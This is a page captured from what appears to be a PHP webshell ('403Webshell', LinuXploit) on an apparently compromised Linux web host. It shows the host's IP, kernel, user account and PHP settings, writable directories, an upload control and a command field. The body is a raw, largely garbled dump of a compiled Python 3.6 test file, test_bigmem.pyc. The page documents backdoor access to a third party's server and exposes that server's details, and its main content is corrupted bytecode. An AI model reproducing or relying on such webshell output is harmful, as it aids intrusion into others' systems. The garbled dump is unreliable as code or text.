403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_bigmem.cpython-36.pyc
3

�w2_���@s�dZddlmZddlmZmZmZmZddlZddl	Z	ddl
Z
dZdZdZ
Gdd	�d	�ZGd
d�deje�ZGdd
�d
eje�ZGdd�deje�ZGdd�dej�ZGdd�dej�Zdd�Zedkr�ee
j�dkr�eje
jd�e�dS)a�Bigmem tests - tests for the 32-bit boundary in containers.

These tests try to exercise the 32-bit boundary that is sometimes, if
rarely, exceeded in practice, but almost never tested.  They are really only
meaningful on 64-bit builds on machines with a *lot* of memory, but the
tests are always run, usually with very low memory limits to make sure the
tests themselves don't suffer from bitrot.  To run them for real, pass a
high memory limit to regrtest, with the -M option.
�)�support)�
bigmemtest�_1G�_2G�_4GN���c@s<eZdZdd�Zeeddd�dd��Zeedd�d	d
��Zeedd�dd��Zeeddd�d
d��Z	eedd�dd��Z
eedd�dd��Zeedd�dd��Zeedd�dd��Z
eedd�dd��Zeedd�dd��Zeedd�dd��Zeedd�dd��Zeedd�dd ��Zeedd�d!d"��Zeeddd�d#d$��Zeeddd�d%d&��Zeeddd�d'd(��Zeeddd�d)d*��Zeedd�d+d,��Zeedd�d-d.��Zeeddd�d/d0��Zeeddd�d1d2��Zeed3d�d4d5��Zeed6ded7d�d8d9��Zeed3d�d:d;��Zeedd�d<d=��Z eedd�d>d?��Z!d@dA�Z"dBdC�Z#eedd�dDdE��Z$eed6dd�dFdG��Z%eedHdd�dIdJ��Z&ee'ddKd�dLdM��Z(ee'ddKd�dNdO��Z)eedHdd�dPdQ��Z*eedd�dRdS��Z+eeddd�dTdU��Z,eeddd�dVdW��Z-dXS)Y�BaseStrTestcCs`|j}|jd�}|d�||}|j�}|j|t|�d�|j��|j|j|d��|�dS)Nz abc def ghi�-)�from_latin1�
capitalize�assertEqual�len�lstrip)�self�size�_�SUBSTR�sZcaps�r�5/opt/alt/python36/lib64/python3.6/test/test_bigmem.py�_test_capitalizeGs

zBaseStrTest._test_capitalize�
r)r�memusecCs~|jd�}|j|�}|jt|�|�t|�t|�d}}t|�drP|d7}|j|||�|�|j|j�|j��dS)Nz abc def ghirr)r�centerrr�strip)rrrrZlpadsizeZrpadsizerrr�test_centerPs

zBaseStrTest.test_centerrcCs�|j}|d�}|d�||}|j|j|d��|�||d�7}|j|j|d��|d�|j|j|d��d�|j|j|d��d�|j|j|d��d�dS)	Nz abc def ghi�.r� ��i�jr)rr�count)rrrrrrrr�
test_count[szBaseStrTest.test_countcCs�|j}|d�}|d�||}|j|j|��|j|j|��|d�|}|j|j|��|j|j|d�|��|j|j|��dS)Nz abc def ghirz...�a)r�
assertTrue�endswith�assertFalse)rrrrr�s2rrr�
test_endswithgszBaseStrTest.test_endswithcCs�|j}|d�|}d}|j|j�|k�~t||�\}}|d�|}|j|�}|jt|�||�|jt|j|d���d�dS)Nr�z       	rr)rr&�
expandtabs�divmodrrr)rrrr�tabsizeZslenZ	remainderrrr�test_expandtabsss
zBaseStrTest.test_expandtabscCs |j}|d�}t|�}|d�j||d�||g�}|j|j|d��d�|j|j|�d�|j|j|d�|�||�|j|j|t|��||�|j|j|d��|j|d���|j|j|d�|�|||j|d���|j|j|d�|�|||j|d���|j|j|d��d	�dS)
Nz abc def ghi�rrrr!r"r���)rr�joinr�find)rrrr�sublenrrrr�	test_find�s zBaseStrTest.test_findcCs|j}|d�}t|�}|d�j||d�||g�}|j|j|d��d�|j|j|�d�|j|j|d�|�||�|j|j||�||�|j|j|d��|j|d���|j|j|d�|�|||j|d���|j|j|d�|�|||j|d���|jt|j|d��dS)Nz abc def ghir0rrrr!r")rrr2r�index�assertRaises�
ValueError)rrrrr4rrrr�
test_index�s zBaseStrTest.test_indexcCsJ|j}|d�}|d�||}|j|j��||d�7}|j|j��dS)N�123456r%r)rr&�isalnumr()rrrrrrrr�test_isalnum�szBaseStrTest.test_isalnumcCsJ|j}|d�}|d�||}|j|j��||d�7}|j|j��dS)NZzzzzzzzr%r)rr&�isalphar()rrrrrrrr�test_isalpha�szBaseStrTest.test_isalphacCsJ|j}|d�}|d�||}|j|j��||d�7}|j|j��dS)Nr:�9�z)rr&�isdigitr()rrrrrrrr�test_isdigit�szBaseStrTest.test_isdigitcCsf|j}|djdd�td�D���}|t|�d}||}|j|j��||d�7}|j|j��dS)Nr0css"|]}t|�j�st|�VqdS)N)�chr�isupper)�.0�crrr�	<genexpr>�sz+BaseStrTest.test_islower.<locals>.<genexpr>�r�A)rr2�rangerr&�islowerr()rrr�chars�repeatsrrrr�test_islower�szBaseStrTest.test_islowercCsR|j}|d�}|t|�d}||}|j|j��||d�7}|j|j��dS)Nz 

	rr")rrr&�isspacer()rrrZ
whitespacerMrrrr�test_isspace�szBaseStrTest.test_isspacecCst|j}|d�}|d�j|d�|d�||g�}|j|j��||d�7}|j|j��||d�7}|j|j��dS)Nr:r0rIr%ZaA)rr2r&�istitler()rrrrrrrr�test_istitle�s zBaseStrTest.test_istitlecCsf|j}|djdd�td�D���}|t|�d}||}|j|j��||d�7}|j|j��dS)Nr0css"|]}t|�j�st|�VqdS)N)rCrK)rErFrrrrG�sz+BaseStrTest.test_isupper.<locals>.<genexpr>rHrr%)rr2rJrr&rDr()rrrrLrMrrrr�test_isupper�szBaseStrTest.test_isuppercCs�|j}|d�|}|j|d�|d�g�}|j|j|d��d�|j|j|d��d�|j|j|d���|j|j|d���dS)	NrIZaaaaaZbbbbbr%��bZaaaaaAZAbbbbb)rr2rr#r&�
startswithr')rrrr�xrrr�	test_join�szBaseStrTest.test_joincCsX|j}|d�}|j|�}|j|j||d���|jt|�|�|j|j�|j��dS)Nz abc def ghiz  )r�ljustr&rVrrr)rrrrrrrr�
test_ljust�s
zBaseStrTest.test_ljustcCsD|j}|d�|}|j�}|jt|�|�|j|j|d��|�dS)NrIr%)r�lowerrrr#)rrrrrrr�
test_lower�s
zBaseStrTest.test_lowercCs�|j}|d�}|j|�}|jt|�|�|j|j�|j��~|j|�}|jt|�|�t|ttf�r||j�}|j	||k�dS)Nzabc def ghi)
r�rjustrrrrY�
isinstance�str�bytesr&)rrrrr�strippedrrr�test_lstrips

zBaseStrTest.test_lstripcCs�|j}|d�}|d�|}|j|d�|�}|jt|�|�|j|j|�|�|j||d�|d�}|jt|�|�|j|j|�d�|j|dd�|d��dS)Nr%rr	rz
      aaaai����)r�replacerrr#)rrrZreplacementrrrr�test_replaceszBaseStrTest.test_replacecCs<|j}|d�}t|�}|d�j||d�||g�}|j|j|d��|||j|d���|j|j|�||�|j|j|d�d|�|j|d���|j|j|d||�d�|j|j|d��|||j|d���|j|j|d�d|�|j|d���|j|j|d�d||�|j|d���|j|j|d��d	�dS)
Nz abc def ghir0rrrr!r"rr1)rrr2r�rfind)rrrrr4rrrr�
test_rfinds($($zBaseStrTest.test_rfindcCsB|j}|d�}t|�}|d�j||d�||g�}|j|j|d��|||j|d���|j|j|�||�|j|j|d�d||d�|j|d���|j|j|d||�d�|j|j|d��|||j|d���|j|j|d�d|�|j|d���|j|j|d�d||�|j|d���|jt|j|d��dS)	Nz abc def ghir0rrrrr!r")rrr2r�rindexr7r8)rrrrr4rrrr�test_rindex/s $zBaseStrTest.test_rindexcCsX|j}|d�}|j|�}|j|j||d���|jt|�|�|j|j�|j��dS)Nz abc def ghiz  )rrYr&rVrrr)rrrrrrrr�
test_rjustBs
zBaseStrTest.test_rjustcCs�|j}|d�}|j|�}|jt|�|�|j|j�|j��~|j|�}|jt|�|�t|ttf�r||j�}|j	||k�dS)Nz abc def ghi)
rrYrr�rstripr]r^r_r`r&)rrrrrrarrr�test_rstripKs

zBaseStrTest.test_rstripg������@c	Cs�|j}t|dd�}|d�|d�|}||}|j�}|jt|�|�|d�}x|D]}|j||�qXW~|j|d��}|jt|�|d�|d�|}xtd|�D]}|j||�q�WdS)Ng�?rr%rr)r�int�splitrr�filter)	rrr�	chunksizerr�l�expected�itemrrr�test_split_small]s
zBaseStrTest.test_split_smallrTr+cCs�|j}|d�||d�}|j�}|jt|�|�|jt|�t|d�g��~|j|d��}|jt|�|d�|jt|�t|d�g��dS)Nz arr%r)rrmrr�set)rrrrrprrr�test_split_largewszBaseStrTest.test_split_largec	Cs�|j}t|dd�d}|d�||d�|d�||d�}||d}|j�}|jt|�|d�|d�|}x|D]}|j||�q|WdS)Ng�?rr�
z
r	)rrl�
splitlinesrr)	rrrrorrrprqrrrrr�test_splitlines�s(
zBaseStrTest.test_splitlinescCsZ|j}|d�}|d�||}|j|j|��|j|j|d�|��|j|j|��dS)Nz abc def ghir)rr&rVr()rrrrrrrr�test_startswith�szBaseStrTest.test_startswithcCsp|j}|d�}|j|�}|jt|�|�|j|j�|j��~|j|�}|jt|�|�|j|j�|j��dS)Nz   abc def ghi   )rr]rrrrY)rrrrrrrr�
test_strip�s

zBaseStrTest.test_stripcCs�|j}|d�}t|�}||d}||}|j�}|jt|�||�|j|d|d�|j�d�|j||dd�|j�d�dS)NuaBcDeFG12.'©rr )rr�swapcaser)rrrrr4rMrrrr�_test_swapcase�s zBaseStrTest._test_swapcasecCs^|j}|d�}||t|�d}|j�}|j|j|dj���|j|j|j�d��dS)NZ
SpaaHAaaAahamrr )rr�titler&rVr'r[)rrrrrrrr�_test_title�szBaseStrTest._test_titlecCs�|j}|d�}tjdd�}t|�}||d}||}|j|�}|jt|�||�|j|d|�|j|��|j||d�|j|��|j|j|d��d�|j|j|d��|d�|j|j|d��|d	�dS)
Nz
aZz.z.Aaz.s.aZs-!$rrr�!r@r )rr`�	maketransr�	translaterr#)rrrr�transr4rMrrrr�test_translate�s
zBaseStrTest.test_translatecCsD|j}|d�|}|j�}|jt|�|�|j|j|d��|�dS)Nr%rI)r�upperrrr#)rrrrrrr�
test_upper�s
zBaseStrTest.test_upper�cCs~|j}|d�}|j|�}|j|j|d�|dd���|j|j|d���|jt|�|�|j|j|d��|t|��dS)Nz-568324723598234�0rz-0)r�zfillr&r'rVrrr#)rrrrrrrr�
test_zfill�s
 zBaseStrTest.test_zfillr cCs\|j}|d�|}|jt|�|�||}|jt|�|d�|j|j|d��|d�dS)Nrr)rrrr#)rrrrrrr�test_concat�szBaseStrTest.test_concatcCs\|j}|d�|}|jt|�|�|d}|jt|�|d�|j|j|d��|d�dS)Nrr)rrrr#)rrrrrrr�test_repeat�szBaseStrTest.test_repeatcCs�|j}|d�}t|�}|||}t|�d}|||}x�tdt|�||�D]�}|j|||d�|j||||�|�|j||||d�|ddd��|dkrP|j|||d|dd�||dd��qPW|j|t|�d|d
�|j|d|d�|j|t|�d|d�|j|||d�|j|t|�d�|d��|j|t|�dd�|dd��|j|dd�|dd��|j|t|�|d�|�|j||d�|�|jt|dd��t|��|jt|dt|�d	��t|�d	�|jt|d	d��t|�d�|jttj|t|��|jttj|t|�d�|jttj|t|�dd
>�dS)N�
0123456789�drrrr rr0rT����r�r1r1r1r1r1r1���)rrrJrr7�
IndexError�operator�getitem)rrrrr4rZstepsizer!rrr�test_slice_and_getitem�s8$$( z"BaseStrTest.test_slice_and_getitemcCs�|j}|d�}|d�|d}|d�j|||g�}~|j||k�|j|d|k�|j|d�|k�|j|d�|k�||d�7}|j|d�|k�dS)Nr�rrr0r%)rr2r&r()rrrr�edgerrrr�
test_containsszBaseStrTest.test_containscCsh|j}|d�|}|d�|}|j||k�~||d�}|j||k�~|d�|}|j||k�dS)Nrr%r)rr&r()rrr�s1r)rrr�test_compare!szBaseStrTest.test_comparecCs@|j}|d�|}t|�}~|d�|d}|j|t|��dS)N�r)r�hashZassertNotEqual)rrrr�h1rrr�	test_hash.szBaseStrTest.test_hashN).�__name__�
__module__�__qualname__rrrrr$r*r/r5r9r<r>rBrNrPrRrSrXrZr\rbrdrfrhrirkrs�ascii_char_sizerurxryrzr|r~r�r�r�rr�r�r�r�r�r�rrrrr
EsN	
			

	
	 		"
r
c@s�eZdZdd�Zd0dd�Zdd�Zd	d
�Zeee	dd�d
d��Z
eee	dd�dd��Zeee	dd�dd��Zeede
dd�dd��Zeedde
e	dd�dd��Zeedde
e	dd�dd��Zeedde
e	dd�dd ��Zeede
dd�d!d"��Zeed#e
de	d�d$d%��Zeed#e
dd�d&d'��Zeed#e
dd�d(d)��Zeeddee	e
dd�d*d+��Zeedde	de
d#d�d,d-��Zeee
de	d�d.d/��ZdS)1�StrTestcCs|S)Nr)rrrrrr@szStrTest.from_latin1rNc
Cs:|dkr|}z"||}|jt|j|��|�Wdd}XdS)N)rr�encode)rr�encrF�expectedsizerrrr�basic_encode_testCszStrTest.basic_encode_testcCsli|_x`tt�D]T}|jd�s qtt|�|�}y
|j}Wntk
rNwYnXt||_||j|<qWdS)NZtest_)	�	_adjusted�dirr
rV�getattr�typer�AttributeErrorr�)r�name�methrrrr�setUpLs


z
StrTest.setUpcCs,x&|jj�D]\}}|tt|�|�_qWdS)N)r��itemsr�r�r)rr�rrrr�tearDown[szStrTest.tearDownr )rrcCs|j|�dS)N)r)rrrrr�test_capitalize_szStrTest.test_capitalizecCs|j|�dS)N)r~)rrrrr�
test_titlecszStrTest.test_titlecCs|j|�dS)N)r|)rrrrr�
test_swapcasegszStrTest.test_swapcaserrcCs|j|d�S)Nzutf-8)r�)rrrrr�test_encodenszStrTest.test_encode�cCs&y|j|d�Stk
r YnXdS)NZraw_unicode_escape)r��MemoryError)rrrrr�test_encode_raw_unicode_escapersz&StrTest.test_encode_raw_unicode_escaperT�FcCs&y|j|d�Stk
r YnXdS)N�utf7)r�r�)rrrrr�test_encode_utf7yszStrTest.test_encode_utf7r	cCs2y|j|dd|dd�Stk
r,YnXdS)N�utf32r	)r�)r�r�)rrrrr�test_encode_utf32�szStrTest.test_encode_utf32cCs|j|ddd�S)N�asciirI)rF)r�)rrrrr�test_encode_ascii�szStrTest.test_encode_asciircCs�d|}d|f}|j||k�~d|f}|jt|�t|�d�|j|jd��|j|jd��~~|d}d|}dj|d|g�}~|d	}|jt|�|dd
�|j|jd�d
�|j|jd�|d�dS)Nrz%sz..%s..r	z..-z-..rr0z...r r)r&rrrVr'r2r#)rrrZsfr�rrr�test_format�s"

zStrTest.test_formatcCs�d|}t|�}|jt|�|d�|j|dd�|j|dd�|j|jd�|�~|dd}d|}t|�}|jt|�|dd�|j|dd�|j|dd�|j|jd	�|�|j|jd
�|d�dS)
Nrrr�'rrTr�r	�\r�r1r1)�reprrrr#)rrrrrr�test_repr_small�szStrTest.test_repr_smallcCstd|}t|�}|jt|�|dd�|j|dd�|j|d	d�|j|jd�|�|j|jd�|d�dS)
Nr�r	rrr�rr�r�r1)r�rrr#)rrrrrr�test_repr_large�szStrTest.test_repr_largec
Cs|d}||}z`xZttfD]N}||�}|jt|�dt||��d|�|j|jd�|dd��d}qWWdd}}XdS)Nu�rz\udcba'ri����)r�r�rrr&r')rr�charr�f�rrrr�test_unicode_repr�s$zStrTest.test_unicode_reprc
Cs|d}||}z`xZttfD]N}||�}|jt|�dt||��d|�|j|jd�|dd��d}qWWdd}}XdS)Nu𝲺rz\U0001dcba'�i�)r�r�rrr&r')rrr�rr�r�rrr�test_unicode_repr_wide�s$zStrTest.test_unicode_repr_widecCs|j}|d�}t|d��|d�t|d��|d�t|d��|d�i}t|�}||d}||}|j|�}|jt|�||�|j|d|�|j|��|j||d�|j|��|j|j|d��d	�|j|j|d��|d�|j|j|d
��|d�dS)Nz
aZz.z.Aaz.rrr%r�Z�$rrr@r )r�ordrr�rr#)rrrrr�r4rMrrrrr��s
zStrTest.test_translate)rN)r�r�r�rr�r�r�rr�ucs4_char_sizer�r�r�r�r�rr�r�r�r�r�r�r��ucs2_char_sizer�r�r�rrrrr�>s&
	$$$ (r�c@sleZdZdd�Zeedded�dd��Zeedd�dd	��Zeedd�d
d��Z	eedd�dd
��Z
dS)�	BytesTestcCs
|jd�S)Nzlatin-1)r�)rrrrrr�szBytesTest.from_latin1rr)rrcCs(|jd�|}|jt|jd��|�dS)Nrzutf-8)rrr�decode)rrrrrr�test_decodeszBytesTest.test_decodecCs|j|�dS)N)r)rrrrrr�szBytesTest.test_capitalizecCs|j|�dS)N)r~)rrrrrr�
szBytesTest.test_titlecCs|j|�dS)N)r|)rrrrrr�szBytesTest.test_swapcaseN)r�r�r�rrrr�r�r�r�r�rrrrr��s
r�c@steZdZdd�Zeedded�dd��Zeedd�dd	��Zeedd�d
d��Z	eedd�dd
��Z
dZdZdS)�
BytearrayTestcCst|jd��S)Nzlatin-1)�	bytearrayr�)rrrrrrszBytearrayTest.from_latin1rr)rrcCs(|jd�|}|jt|jd��|�dS)Nrzutf-8)rrrr�)rrrrrrr�szBytearrayTest.test_decodecCs|j|�dS)N)r)rrrrrr�szBytearrayTest.test_capitalizecCs|j|�dS)N)r~)rrrrrr�!szBytearrayTest.test_titlecCs|j|�dS)N)r|)rrrrrr�%szBytearrayTest.test_swapcaseN)
r�r�r�rrrr�r�r�r�r�r�rurrrrr�sr�c@s|eZdZeeddd�dd��Zdd�Zeedddd�d	d
��Zeeddd�dd��Zeed
dd.d�dd��Z	eeddd�dd��Z
eeddd�dd��Zdd�Zeedddd�dd��Z
eeddd�dd��Zeeddd�dd��Zeedd d�d!d"��Zeed#d d�d$d%��Zd&d'�Zeed(ddd(ed�d)d*��Zeeddd(ed�d+d,��Zd-S)/�	TupleTestr�)rrcCsVd|}d|}|j||k�~d|d}|j||k�~d|}|j||k�dS)Nr0r)r0)r0)r0)r)r&r()rr�t1�t2rrrr�7szTupleTest.test_comparecCs:ff|}|jt|�|�||}|jt|�|d�dS)Nr)rr)rr�trrr�basic_concat_testHs
zTupleTest.basic_concat_test�cCs
|j|�S)N)r�)rrrrr�test_concat_smallNszTupleTest.test_concat_smallcCs
|j|�S)N)r�)rrrrr�test_concat_largeRszTupleTest.test_concat_largerTrr+cCsJd|}|jt|�|d�|jd|k�|jd|k�|jd|k�dS)	Nrrr r	rTr)rrr r	rT)rrr r	rT)rrr&r()rrr�rrrr�Vs
zTupleTest.test_containscCs4d|}t|�}~d|d}|j|t|�k�dS)Nrr)r)r)r�r()rrr�r�r�rrrr�^s
zTupleTest.test_hashcCs*d|}|jt|�|�|j|d	d�|j|dd�|j||dd�|jttj||�|j|dd�d�|j|dd�d�|j|dd�d�|j|dd�d�|j||dd�d�|j||d|�d�|j||d|d�d�|j|||�f�|j|||d�f�dS)NrrTr��r�rr	)Nr1)N)NNNNNr�)N)NNNNN)N)NNNNNi��i��)N)NNNNN)N)NNNNN)N)NNNNN)N)NNNN)rrr7r�r�r�)rrr�rrr�test_index_and_slicefszTupleTest.test_index_and_slicecCs8d|}|jt|�|�|d}|jt|�|d�dS)Nr0r)r0)rr)rrr�rrr�basic_test_repeatyszTupleTest.basic_test_repeatcCs
|j|�S)N)r�)rrrrr�test_repeat_smallszTupleTest.test_repeat_smallcCs
|j|�S)N)r�)rrrrr�test_repeat_large�szTupleTest.test_repeat_largerr�cCs
|j|�S)N)r�)rrrrr�test_repeat_large_2�szTupleTest.test_repeat_large_2�	cCsf|jd�ytt|��}Wntk
r.Yn4Xd}x |D]}|j||�|d7}q:W|j||�dS)Nz:test needs much more memory than advertised, see issue5438rr)�skipTest�tuplerJr�r)rrr�r#rrrrr�test_from_2G_generator�s

z TupleTest.test_from_2G_generatorr�cCsf|jd�yBtt|��}d}x |D]}|j||�|d7}q"W|j||�Wntk
r`YnXdS)Nz:test needs much more memory than advertised, see issue5438rr)r�r�rJrr�)rrr�r#rrrrr�test_from_almost_2G_generator�s

z'TupleTest.test_from_almost_2G_generatorcCsbd|}t|�}|jt|�|d�|j|dd�d�|j|dd�d�|j|jd�|�dS)	Nrr rTz(0, 0z0, 0)r�)rr�)r�rrr#)rrr�rrrr�basic_test_repr�szTupleTest.basic_test_reprr cCs
|j|�S)N)r�)rrrrrr��szTupleTest.test_repr_smallcCs
|j|�S)N)r�)rrrrrr��szTupleTest.test_repr_largeN�()r�r�r�rrr�r�r�r�r�r�r�r�r�r�rr�r�r�r�r�r�r�rrrrr�,s 	$r�c@s�eZdZeeddd�dd��Zdd�Zeedddd�d	d
��Zeeddd�dd��Zd
d�Z	eedddd�dd��Z
eeddd�dd��ZeedddHd�dd��Zeeddd�dd��Z
eeddd�dd��Zdd�Zeedddd�dd��Zeeddd�d d!��Zd"d#�Zeedddd�d$d%��Zeeddd�d&d'��Zd(d)�Zeed*ddd*ed�d+d,��Zeeddd*ed�d-d.��Zeed/d�d0d1��ZeedddId�d2d3��Zd4d5�Zeedddd�d6d7��Zeeddd�d8d9��ZeedddJd�d:d;��Zeedd/d�d<d=��Zeedd>dKd�d?d@��Z eeddd�dAdB��Z!eedddLd�dCdD��Z"eedddMd�dEdF��Z#dGS)N�ListTestrr�)rrcCs^dg|}dg|}|j||k�~dg|d}|j||k�~dg|}|j||k�dS)Nr0rr)r&r()rr�l1�l2rrrr��s


zListTest.test_comparecCs:gg|}|jt|�|�||}|jt|�|d�dS)Nr)rr)rrrprrr�basic_test_concat�s
zListTest.basic_test_concatr�cCs
|j|�S)N)r�)rrrrrr��szListTest.test_concat_smallcCs
|j|�S)N)r�)rrrrrr��szListTest.test_concat_largecCs`tjg|}||7}|jt|�|d�|j|d|dk�|j||d||dk�dS)Nrrrr1)�sys�stdoutrrr&)rrrprrr�basic_test_inplace_concat�s
z"ListTest.basic_test_inplace_concatcCs
|j|�S)N)r�)rrrrr�test_inplace_concat_small�sz"ListTest.test_inplace_concat_smallcCs
|j|�S)N)r�)rrrrr�test_inplace_concat_large�sz"ListTest.test_inplace_concat_largerTrr+cCs^dddddg|}|jt|�|d�|jd|k�|jdddddg|k�|jd|k�dS)Nrrr r	rTr)rrr&r()rrrprrrr��s
zListTest.test_containscCsdg|}|jtt|�dS)Nr)r7�	TypeErrorr�)rrrprrrr��s
zListTest.test_hashc	Cs*dg|}|jt|�|�|j|dd�|j|dd�|j||dd�|jttj||�|j|dd�dgd�|j|dd�dgd�|j|dd�dgd�|j|d
d�dgd�|j||dd�dgd�|j||d|�dgd�|j||d|d�dgd�|j|||�g�|j|||d�g�d||d<|jt|�|�|j|dd�dddg�|j|jd�d�|jttj||d�|jt|�|�dddddg||d	d�<|d8}|jt|�|�|j|dd�dddddddg�dddddg|dd	�<|d8}|jt|�|�|j|dd	�dddddddg�||d=|d8}|jt|�|�|j|dd�|dd�=|d8}|jt|�|�|j|dd�|d
=|d8}|jt|�|�|j|d
d�|dd�=|d8}|jt|�|�|j|d
d�dS)NrrTr�r�r�rr	r �rr1r�i��i��r�i����r1���r1)rrr7r�r�r�r#�setitem)rrrprrrr��sZ
"""


zListTest.test_index_and_slicecCsLg|}|j|�dg|}|jt|�|�|d}|jt|�|d�dS)Nr0r)r(rr)rrrprrrr�2s

zListTest.basic_test_repeatcCs
|j|�S)N)r�)rrrrrr�:szListTest.test_repeat_smallcCs
|j|�S)N)r�)rrrrrr�>szListTest.test_repeat_largecCszdg}||9}|jt|�|�|j|d|dk�~dg|}|d9}|jt|�|d�|j||d|dk�dS)Nr0rrrr1r1)rrr&)rrrprrr�basic_test_inplace_repeatBs
z"ListTest.basic_test_inplace_repeatcCs
|j|�S)N)r�)rrrrr�test_inplace_repeat_smallNsz"ListTest.test_inplace_repeat_smallcCs
|j|�S)N)r�)rrrrr�test_inplace_repeat_largeRsz"ListTest.test_inplace_repeat_largecCsddg|}t|�}|jt|�|d�|j|dd�d�|j|dd�d�|j|jd�|�dS)Nrr rTz[0, 0z0, 0]r�r�)r�rrr#)rrrprrrrr�Vs
zListTest.basic_test_reprr cCs
|j|�S)N)r�)rrrrrr�_szListTest.test_repr_smallcCs
|j|�S)N)r�)rrrrrr�cszListTest.test_repr_larger�cCs\t�g|}|jt��|jt|�|d�|j|d|dk�|j|d|dk�dS)Nrr rr�r�r�r1)�object�appendrrr&r()rrrprrr�test_appendis
zListTest.test_appendcCs:dddddg|}|j|jd�|�|j|jd�d�dS)Nrrr r	rT�1r)rr#)rrrprrrr$qszListTest.test_countcCs`tg|}|j|�|jt|�|d�|j|d|dk�|j||d||dk�dS)Nrrrr1)r��extendrrr&)rrrprrr�basic_test_extendws


zListTest.basic_test_extendcCs
|j|�S)N)r�)rrrrr�test_extend_small~szListTest.test_extend_smallcCs
|j|�S)N)r�)rrrrr�test_extend_large�szListTest.test_extend_largecCs�dddddg|}|d9}|j|jd�d�|j|jd|d�|d�|j|jd|d|�|d�|jt|jd|d|�|jt|jd�dS)Nrrr r	rTrr�)rr6r7r8)rrrprrrr9�szListTest.test_indexcCs�dg|}|j|dd�|d7}|jt|�|�|j|dd�dddg�|j|dd�|d7}|jt|�|�|j|dd�dddg�|jdd�|d7}|jt|�|�|j|dd�dddg�|j||dd�dddg�dS)	Ng�?rrIr �B�Cr�r�)�insertrr)rrrprrr�test_insert�s
zListTest.test_insertr	cCsdddddg|}|d9}|jt|�|�|j�}|d8}|jt|�|�|j|d�|j|d
d�ddg�|jd	�}|d8}|jt|�|�|j|d�|j|dd�ddg�|j|d�}|d8}|jt|�|�|j|d�|j|dd�ddg�dS)Nr%rUrF�d�erTrrrr�r�)rr�pop)rrrprrrrr�test_pop�s$
zListTest.test_popcCs�dg|}|jt|�|�|jd�|d8}|jt|�|�|jd�|d7}|jt|�|�|j|dd�ddg�|jd�|d8}|jt|�|�|j|dd�ddg�dS)NrrrTrr�r�)rr�remover�)rrrprrr�test_remove�s



zListTest.test_removecCsndddddg|}|j�|jt|�|d�|j|dd�dddddg�|j|dd�dddddg�dS)Nrrr r	rTr�)�reverserr)rrrprrr�test_reverse�s
zListTest.test_reversecCsxdddddg|}|j�|jt|�|d�|j|jd�|�|j|dd�dgd�|j|dd�dgd�dS)Nrrr r	rTri����)�sortrrr#)rrrprrr�	test_sort�szListTest.test_sortNr�r�r�r�r�r�)$r�r�r�rrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r$r�rrr9rr	rr
rrrrrr��s<8	$ r�cCstjttttt�dS)N)rZrun_unittestr�r�r�r�r�rrrr�	test_main�s
r�__main__)�__doc__ZtestrZtest.supportrrrrZunittestr�r�r�r�r�r
ZTestCaser�r�r�r�r�rr�r�argvZset_memlimitrrrr�<module>	s40|?
+

Youez - 2016 - github.com/yon3zu
LinuXploit